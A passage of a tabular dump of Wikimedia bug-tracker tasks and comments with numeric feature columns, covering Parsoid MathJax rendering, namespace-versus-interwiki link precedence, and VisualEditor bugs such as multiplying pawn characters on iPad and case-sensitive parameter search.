[17:06] <gwicke> ah, that sounds promising",,,1378339833,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,1.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,3.0,0.0,6.666666666666667,6.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,5.666666666666667,1.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,7.666666666666667,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.6666666666666665,1.6666666666666667,6.666666666666667,1.3333333333333333,1.6666666666666667,4.666666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,1.3333333333333333,5.0,0.0,4.0,6.0,7.666666666666667,0.3333333333333333,0.0,0.0,4.0,0.0,1.0,2.0,0.0,0.6666666666666666,0.0,0.0,18.0,3.5190435280641466,0.5985108820160367,"From IRC discussion with pkrautzberger it seems that we could actually use MathJax directly to convert tex to MathML without calling the API at all. Some work is still needed though:

[17:03] <gwicke> do you have a node package?
[17:03] <pkrautzberger> ah. no. The problem is that MathJax requires a dom  right now. But we plan to liberate parts.
[17:03] <gwicke> we have a dom
[17:03] <pkrautzberger> (a lot functionality doesn't make sense outside the DOM).
[17:04] <gwicke> domino currently
[17:04] <pkrautzberger> but TeX2MathML conversion could be isolated easily (MathML to SVG not as easily). BTW our internal format is MathML.
[17:04] <gwicke> it only implements DOM4 in case that makes a difference
[17:04] <pkrautzberger> I'm not sure if dom4 would be a problem.
[17:04] <pkrautzberger> but we've seen people use dom runners.
[17:04] <gwicke> we could also use JSDom for math if that helps
[17:05] <gwicke> supports the other levels
[17:05] <gwicke> and script tag execution
[17:05] <pkrautzberger> well, ideally we could just isolate that from the dom.
[17:05] <pkrautzberger> but yes, I know someone who got jsdom to work with MathJax.
[17:06] <gwicke> ah, that sounds promising"
238570,Parsoid: Output MathJax rendering for Math tags instead of images,See bug 52031.,,,1376614484,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See bug 52031.
238565,Parsoid: Output MathJax rendering for Math tags instead of images,Have we filed a bug against the mw api to support this?,,,1374764072,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,15.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,3.3846153846153846,1.0,Have we filed a bug against the mw api to support this?
238564,Parsoid: Output MathJax rendering for Math tags instead of images,"From IRC discussions:

It appears that supporting this on the Parsoid end would definitely require an update to the mw api so we can pass in options to the extension (something like action=callextensiontag&attributes=...&options=...)

In addition, if the math extension doesn't accept output rendering options (except via config settings), the extension itself will need an update to support this.

Once both are present, Parsoid can emit mathml.",,,1374265056,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,2,,0.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,1.0,4.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,0.0,9.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,8.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,15.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,2.0,4.517647058823529,0.7411764705882353,"From IRC discussions:

It appears that supporting this on the Parsoid end would definitely require an update to the mw api so we can pass in options to the extension (something like action=callextensiontag&attributes=...&options=...)

In addition, if the math extension doesn't accept output rendering options (except via config settings), the extension itself will need an update to support this.

Once both are present, Parsoid can emit mathml."
238563,Parsoid: Output MathJax rendering for Math tags instead of images,"With VE's JS requirements we can just force everyone to use the MathJax rendering when editing, makes things a lot simpler and both ends, and means we don't need to round-trip to re-render.",,,1374264665,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,2,,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,10.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,12.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.738095238095238,0.8571428571428571,"With VE's JS requirements we can just force everyone to use the MathJax rendering when editing, makes things a lot simpler and both ends, and means we don't need to round-trip to re-render."
53680,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"http://it.wikipedia.org/wiki/Utente:Elitre_%28WMF%29/Sandbox?veaction=edit

This was actually discussed on IRC by Inez, subbu, gwicke on July 3rd, I might provide that part of the log if useful.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://parsoid.wmflabs.org/it/Utente:Elitre_(WMF)/Sandbox",Medium,50.0,1374238320,1380818608.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.6181818181818182,"URL

This was actually discussed on IRC by Inez, subbu, gwicke on July 3rd, I might provide that part of the log if useful.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
237641,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 87272 merged by jenkins-bot:
Add 'MemoryAlpha' namespace for parser tests.

https://gerrit.wikimedia.org/r/87272",,,1380811545,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.95,"Change 87272 merged by jenkins-bot:
Add 'MemoryAlpha' namespace for parser tests.

GERRIT_URL"
237636,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 87272 had a related patch set uploaded by Cscott:
Add 'MemoryAlpha' namespace for parser tests.

https://gerrit.wikimedia.org/r/87272",,,1380751646,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.3478260869565215,0.9565217391304348,"Change 87272 had a related patch set uploaded by Cscott:
Add 'MemoryAlpha' namespace for parser tests.

GERRIT_URL"
237630,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 87203 merged by jenkins-bot:
ParserTests: allow test of precedence between interwiki links and namespaces

https://gerrit.wikimedia.org/r/87203",,,1380747187,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.045454545454546,0.9545454545454546,"Change 87203 merged by jenkins-bot:
ParserTests: allow test of precedence between interwiki links and namespaces

GERRIT_URL"
237624,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 86872 merged by jenkins-bot:
Bug 51680: Give preference to namespaces over interwiki prefixes

https://gerrit.wikimedia.org/r/86872",,,1380746244,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,0.9523809523809523,"Change 86872 merged by jenkins-bot:
Bug 51680: Give preference to namespaces over interwiki prefixes

GERRIT_URL"
237620,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 87203 had a related patch set uploaded by Cscott:
ParserTests: allow test of precedence between interwiki links and namespaces

https://gerrit.wikimedia.org/r/87203",,,1380742224,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.08,0.96,"Change 87203 had a related patch set uploaded by Cscott:
ParserTests: allow test of precedence between interwiki links and namespaces

GERRIT_URL"
237619,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Change 86872 had a related patch set uploaded by Marcoil:
Bug 51680: Give preference to namespaces over interwiki prefixes

https://gerrit.wikimedia.org/r/86872",,,1380644334,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.875,0.9583333333333334,"Change 86872 had a related patch set uploaded by Marcoil:
Bug 51680: Give preference to namespaces over interwiki prefixes

GERRIT_URL"
237617,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"I have a patch for this one, taking it.",,,1380644270,,PHID-USER-56wtmb23orq4pu5liyj5,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,2.8181818181818183,1.0,"I have a patch for this one, taking it."
237614,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Namespace prefixes need to take precedence over interwiki prefixes in Parsoid, as is the case in the PHP parser.",,,1376614725,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,24.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.476190476190476,0.8571428571428571,"Namespace prefixes need to take precedence over interwiki prefixes in Parsoid, as is the case in the PHP parser."
237609,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,Can't reproduce on enwp for obvious reasons.,,,1375060582,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,Can't reproduce on enwp for obvious reasons.
237604,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"Created attachment 12996
screenshot of adding a wikipedia: link

**Attached**: {F11284}",,,1375060388,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.761904761904762,0.8095238095238095,"Created attachment 12996
screenshot of adding a wikipedia: link

**Attached**: {F11284}"
237599,Links to local namespace Wikipedia:Foo rendered as mw:WikiLink/Interwiki to enwiki,"This is because Parsoid sees [[Wikipedia:VisualEditor/Cosa_cambia]] as a link to [[VisualEditor/Cosa_cambia]] on interwiki ""Wikipedia"" (i.e., the English Wikipedia). Whoops.",,,1374644195,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mdqhw3wzqwlxbr4xogeu,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,28.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,22.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,3.875,0.675,"This is because Parsoid sees [[Wikipedia:VisualEditor/Cosa_cambia]] as a link to [[VisualEditor/Cosa_cambia]] on interwiki ""Wikipedia"" (i.e., the English Wikipedia). Whoops."
53677,VisualEditor: Rapidly multiplying pawns after editing near a link in MobileSafari on iPad,"An IP user on the English Wikipedia reports the following slightly alarming bug:

""After I edited text near a link, ""♙♙♙♙♙♙♙"" characters started appearing around once a second, and I couldn't stop them or delete them.""

Based on another bug report left a few minutes later by the same user they were using MobileSafari on iPad 2 with iOS 6.1.3

I can't replicate this in Firefox on a Linux PC and don't have an iPad to test on.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: other
**Platform**: Tablet PC
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50465",Medium,50.0,1374234180,1434487685.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-boasjpxas32sxaoibmuy,task_description,resolved,True,c1,3,False,False,False,2,,0.5,0.0,0.0,0.0,2.0,4.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,1.5,0.0,4.5,6.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,13.5,0.0,1.5,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,3.0,6.5,9.0,0.0,2.0,0.0,3.0,0.0,0.0,3.5,1.0,1.5,0.0,0.0,0.0,3.3125,0.625,"An IP user on the English Wikipedia reports the following slightly alarming bug:

""After I edited text near a link, ""♙♙♙♙♙♙♙"" characters started appearing around once a second, and I couldn't stop them or delete them.""

Based on another bug report left a few minutes later by the same user they were using MobileSafari on iPad 2 with iOS 6.1.3

I can't replicate this in Firefox on a Linux PC and don't have an iPad to test on.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: other
**Platform**: Tablet PC
**See Also**:
URL"
475919,VisualEditor: Rapidly multiplying pawns after editing near a link in MobileSafari on iPad,"Seems to work for me now. Tested on Beta Cluster using iOS Safari 8.0 on an iPad.
",,,1434487685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-boasjpxas32sxaoibmuy,task_subcomment,,True,c1,3,True,,,102,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,20.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,20.0,25.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,3.3,0.9,"Seems to work for me now. Tested on Beta Cluster using iOS Safari 8.0 on an iPad.
"
237371,VisualEditor: Rapidly multiplying pawns after editing near a link in MobileSafari on iPad,"(In reply to comment #0)
> An IP user on the English Wikipedia reports the following slightly alarming
> bug:
> 
> ""After I edited text near a link, ""♙♙♙♙♙♙♙"" characters started appearing
> around
> once a second, and I couldn't stop them or delete them.""
> 
> Based on another bug report left a few minutes later by the same user they
> were
> using MobileSafari on iPad 2 with iOS 6.1.3
> 
> I can't replicate this in Firefox on a Linux PC and don't have an iPad to
> test
> on.

Since you asked,in VE test edit we had encountered it at mr wiki http://mr.wikipedia.org/w/index.php?title=तेकिर्दा_प्रांत&diff=prev&oldid=1189390 When I increased space.I suppose developers already may be taking care of this.

I suppose en wiki maya be needs to track nowikis with better targeted edit filters for space and other mark up aspects.Thats my guess.",,,1374236089,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-boasjpxas32sxaoibmuy,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,2.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,24.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,7.0,11.0,19.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.515463917525773,0.6082474226804123,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Since you asked,in VE test edit we had encountered it at mr wiki URL When I increased space.I suppose developers already may be taking care of this.

I suppose en wiki maya be needs to track nowikis with better targeted edit filters for space and other mark up aspects.Thats my guess."
53673,VisualEditor: Search of parameters in transclusion editor should be case insensitive,"The parameter search is case sensitive, requiring all lowercase input

When searching for parameters in the transclusion/template editor the search returns ""Unknown parameter"" unless the search term is entirely lowercase.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11271}",Medium,50.0,1374229560,1394405793.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-q5ayyohzxfrkbwwrho46,task_description,resolved,True,c1,3,False,False,False,2,,2.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,4.430769230769231,0.6307692307692307,"The parameter search is case sensitive, requiring all lowercase input

When searching for parameters in the transclusion/template editor the search returns ""Unknown parameter"" unless the search term is entirely lowercase.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11271}"
